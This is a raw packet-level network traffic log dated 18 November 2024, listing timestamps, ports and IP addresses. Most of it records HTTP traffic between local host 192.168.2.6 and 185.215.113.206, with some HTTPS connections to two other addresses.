Nov 18, 2024 04:41:34.149357080 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149373055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149374962 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149389029 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149394035 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149424076 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149477959 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149490118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149503946 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149519920 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149519920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149537086 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149538040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149554968 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149581909 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149588108 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149662018 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149677038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149693012 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149698019 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149708986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149725914 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149741888 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.184885979 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.184900999 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.184919119 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.184937954 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.184983969 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185034990 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185050011 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185065985 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185091019 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185118914 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185118914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185144901 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185154915 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185159922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185173988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185179949 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185190916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185194969 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185208082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185210943 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185225964 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185229063 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185240984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185251951 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185269117 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185307980 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185323000 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185338020 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185359955 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185378075 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185410023 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185425043 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185442924 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185448885 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185463905 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185482025 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185532093 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185548067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185564041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185597897 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185621023 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185658932 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185676098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185691118 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185695887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185718060 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185730934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185730934 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185749054 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185759068 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185765028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185781002 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185806036 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185836077 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185849905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185882092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185920954 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.185934067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185947895 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.185982943 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186022997 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186038017 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186054945 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186069965 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186074972 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186090946 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186120033 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186120033 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186136007 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186216116 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186228037 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186229944 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186248064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186253071 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186260939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186280966 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186404943 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186424017 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186558008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186573029 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186589003 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186597109 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186604977 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186620951 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186635971 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186642885 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186655045 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186660051 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186672926 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186676025 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186706066 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186755896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186772108 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186786890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186791897 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186829090 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186868906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186882973 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186899900 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.186922073 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.186939001 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187067986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187083006 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187098026 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187108994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187110901 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187128067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187139034 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187144995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187159061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187174082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187189102 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187205076 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187205076 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187242985 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187282085 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187295914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187321901 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187345028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187362909 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187386990 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187418938 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187433958 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187449932 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187465906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187467098 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187510014 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187541962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187664986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187680960 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187695026 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187711000 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187715054 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187726021 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187741041 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187741041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187757969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187769890 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187782049 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187793970 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187796116 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187813044 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.187840939 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.187879086 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.195827961 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.195856094 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.195894957 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.195907116 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.195935011 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.195960045 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.197057962 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.197097063 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.197154999 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.197160959 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.197212934 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.198847055 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.198864937 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.198916912 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.198925018 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.198966026 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.211530924 CET	49898	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.211564064 CET	443	49898	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.211884975 CET	49898	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.211977959 CET	49899	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.211997032 CET	443	49899	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.213051081 CET	49899	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.214879990 CET	49898	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.214894056 CET	443	49898	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.215333939 CET	49899	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.215351105 CET	443	49899	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.267750978 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.267787933 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.267802000 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.267832994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.267857075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.267864943 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.267880917 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.267896891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.267909050 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.267921925 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.267940044 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.267998934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268013000 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268037081 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268050909 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.268059969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268073082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268079042 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.268098116 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268115044 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268119097 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.268129110 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268150091 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.268157005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268170118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268179893 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.268184900 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268201113 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268212080 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.268218040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268251896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268277884 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.268277884 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.268291950 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.268292904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268306017 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268321991 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268336058 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.268351078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.268377066 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.304830074 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.304863930 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.304898977 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.304910898 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.304940939 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.304965019 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.305183887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305202961 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305227041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305273056 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305306911 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305332899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305350065 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305366993 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305368900 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305382967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305397987 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305399895 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305418015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305424929 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305433035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305450916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305453062 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305466890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305478096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305481911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305500984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305504084 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305527925 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305552959 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305721998 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305743933 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305780888 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305819035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305834055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305850029 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305866957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305869102 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305882931 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305886030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305898905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305913925 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305915117 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305931091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.305938959 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.305969000 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306193113 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.306221962 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.306251049 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.306257963 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.306276083 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.306293964 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.306334972 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306350946 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306366920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306381941 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306396961 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306401014 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306413889 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306427956 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306431055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306446075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306452036 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306462049 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306468010 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306477070 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306483984 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306493998 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306499958 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306509972 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306514978 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306528091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306530952 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306546926 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306561947 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306765079 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306786060 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306802034 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306808949 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306818008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306823015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306839943 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306849003 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306855917 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306865931 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306880951 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306896925 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306902885 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306912899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306926966 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306929111 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306941986 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306943893 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306958914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306967020 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306976080 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.306982040 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.306998014 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307013035 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307427883 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307440996 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307455063 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307470083 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307471991 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307486057 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307487011 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307504892 CET	80	49833	185.215.113.206	192.168.2.6
